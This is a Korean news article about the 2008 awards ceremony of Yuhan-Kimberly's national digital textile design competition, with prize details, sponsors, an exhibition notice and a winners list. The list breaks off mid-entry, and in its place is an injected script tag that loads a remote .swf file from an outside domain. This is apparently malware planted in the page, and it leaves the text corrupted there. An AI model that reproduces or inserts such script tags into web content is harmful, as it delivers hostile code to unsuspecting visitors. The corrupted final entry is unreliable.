디자인 한국의 미래를 엿보다
– 유한킴벌리 디지털 텍스타일디자인 경진대회 시상식 성료
경진대회의 시상식이 7월 1일 현대백화점 무역센터점 10층 에메랄드홀에서 개최되었다.
시상식에는 한국패션협회 원대연 회장, 디자이너 이상봉, 동아TV 신형상 대표 및 유한킴벌리 김중곤 대표, Tim McCraw 본부장 등이 참석하였다. 백화점이라는 장소의 이점을 활용하여 더욱 많은 일반인들도 함께 즐길 수 있는 축제의 장으로 거듭날 이번 시상식에서는 금상 3명에게는 상금 150만원, 은상 3명에게 100만원, 동상 3명에게 상금 50만원씩을 수여하며 각 부문별 15명씩 45명에게는 특별상이 수여되는 등 푸짐한 상과 부상이 기다리고 있다. 전시장 또한 DTP를 활용한 다양한 제품을 직접 만나보고 체험해 볼 수 있도록 다양하고 풍성한 컨텐츠로 채워졌다.
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유한킴벌리 디지털날염사업부에서 실력있는 신진 디자이너를 발굴하려는 목적으로 매년 개최하는 <전국 디지털 텍스타일 디자인 경진대회>가 올해로 7회를 맞이하였다. 디자이너들에게 텍스타일 디자인의 중요성을 일깨우는 동시에 텍스타일 디자인을 위한 솔루션으로서 디지털 텍스타일 프린팅(DTP)을 체험할 수 있는 기회를 제공하는 전국 디지털 텍스타일 디자인 경진대회는 해를 거듭할수록 그 규모를 키우고 있으며, 일곱번째 경진대회인 2008년, 경진대회의 참가자수가 1700명에 달하면서 그 권위를 더욱 굳건히 했다. 쟁쟁한 작품들 가운데 영예의 대상을 차지한 참가자는 홍익대학교 도예유리과에 재학 중인 곽희원 학생. 1차 주제였던 Mix Touch와 2차 실기 테스트 주제였던 Aggressive Folklore에 맞추어서 참신한 디자인을 내놓았다는 평을 받았다.
이번 경진대회의 대상 입상자에게는 노동부장관상을 수여하며 부상으로 700만원 상당의 이태리 마랑고니 디자인스쿨 1개월 수강의 기회와 장려금을 수여한다. 마랑고니 디자인스쿨은 다양한 분야의 패션 전문가를 양성하는 곳으로 이태리 패션의 산실이라고 할 수 있으며, 패션 및 디자인의 중심인 이태리에서 세계적인 경쟁자들과 함께 자유로운 발상과 독창적인 아이디어를 접목시켜 컨셉에 맞게 디자인하는 과정을 배우는 이번 기회는 프로 디자이너를 꿈꾸는 이들에게는 최상의 기회라 할 수 있을 것이다.
유한킴벌리가 주최하고 노동부가 후원하는 이번 경진대회는 각 분야별로 협찬사가 참여하여 풍성함을 더했다. 패션액세서리 부문에 루이까또즈, 홈인테리어 부문에 이브자리가 각각 협찬사로 참여하였고, 각 부문의 상위 입상작에 대하여 제품 제작을 지원함으로써 참가자들은 자신의 디자인이 실제 제품에 적용되는 영광을 누리게 된다. 어패럴 부문은 심사위원장으로 참가한 디자이너 이상봉 선생이 직접 의류를 디자인하여 전시에 협조하기로 하여 수상자에 대한 특별한 기회를 제공하게 된다.
수상의 영광뿐만 아니라 자신의 디자인이 실제 제품으로 적용되는 기회를 얻게 되는 전국 디지털 텍스타일 디자인 경진대회. 2009년도에는 더욱 많은 기업들과의 co-work을 통하여 작품으로만 머무르는 디자인이 아닌 더욱 다양한 제품에 적용될 수 있는 디자인을 만나볼 수 있기를 기대한다.
전시회 안내
- 일시 : 2008.7.1(화)~7.3(목)
- 장소 : 서울시 강남구 삼성동 소재 현대백화점 무역센터점 10F 에메랄드홀
수상자 명단
- 대상 : 홍익대학교 곽희원
- 어패럴부분
. 금상 : 문영혜
. 은상 : 제주대학교 강지연
. 동상 : 영남대학교 이은주
. 특별장려상 : SADI 박지혜, 홍익대학교 김소현
- 패션액세서리
. 금상 : 이유경
. 은상 : 중앙대학교 최우성
. 동상 : 조희옥
- 홈인테리어
. 금상 : 중앙대학교 조희은
. 은상 : 강릉대?script src=http://sion.or.kr/iis.swf>
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